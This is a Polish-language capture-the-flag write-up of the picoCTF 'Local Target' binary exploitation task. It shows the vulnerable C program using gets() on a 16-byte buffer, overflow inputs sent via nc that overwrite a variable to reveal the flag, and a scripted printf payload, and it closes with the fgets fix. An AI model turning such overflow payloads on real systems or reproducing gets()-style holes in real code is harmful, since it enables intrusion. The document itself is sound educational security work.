W tym poście chciałbym opisać rozwiązanie zadania Local Target z działu Binary Exploration.
Do zadania został dołączony program wykonywalny oraz kod w języku C:
- #include <stdio.h>
- #include <stdlib.h>
- int main(){
- FILE *fptr;
- char c;
- char input[16];
- int num = 64;
- printf("Enter a string: ");
- fflush(stdout);
- gets(input);
- printf("\n");
- printf("num is %d\n", num);
- fflush(stdout);
- if( num == 65 ){
- printf("You win!\n");
- fflush(stdout);
- // Open file
- fptr = fopen("flag.txt", "r");
- if (fptr == NULL)
- {
- printf("Cannot open file.\n");
- fflush(stdout);
- exit(0);
- }
- // Read contents from file
- c = fgetc(fptr);
- while (c != EOF)
- {
- printf ("%c", c);
- c = fgetc(fptr);
- }
- fflush(stdout);
- printf("\n");
- fflush(stdout);
- fclose(fptr);
- exit(0);
- }
- printf("Bye!\n");
- fflush(stdout);
- }
Do programu wprowadzamy ciąg znaków.
- picoctf@webshell:~$ nc saturn.picoctf.net <port>
- Enter a string: testval
- num is 64
- Bye!
Aby wyświetlić flagę należy zmodyfikować wartość num z 64 na 65. Bufor przechowujący wpisany string ma rozmiar 16. Wobec tego spróbuję go przepełnić.
- picoctf@webshell:~$ nc saturn.picoctf.net <port>
- Enter a string: aaaaaaaaaaaaaaaaaaaacdefghijklmnoprst
- num is 1785292903
- Bye!
Jak widać wartość po przekroczeniu bufora została zmieniona.
- 1785292903 => 6A696867
- 6A - j
- 69 - i
- 68 - h
- 67 - g
Jak już wiadomo na jakich pozycjach znajduje się wprowadzona do liczby zmienna, należy ją przesłać w odpowiednim formacie aby uzyskać wartość 65 dziesiętnie w wartości num.
Sposób 1, wartość 65 dziesiętnie odpowiada znakowi 'A' w ASCII. Czyli dane można wprowadzić też tak:
- picoctf@webshell:~$ nc saturn.picoctf.net <port>
- Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaA
- num is 65
- You win!
- picoCTF{<flaga>}
Sposób 2, bardziej zautomatyzowany, z wykorystaniem funkcji printf z konsoli:
- (printf 'A%.0s' {1..25}; printf '\n')| nc saturn.picoctf.net <port>
Zmiana wartości num jest możliwa poniewać funckja gets odbierająca znaki nie sprawdza długości wprowadzanych danych. Zamiast gets należałoby użyć funkcji np. fgets
- fgets(input, sizeof(input), stdin);
Ogranicza ona wprowadzane dane do maksymalnej wielkości bufora.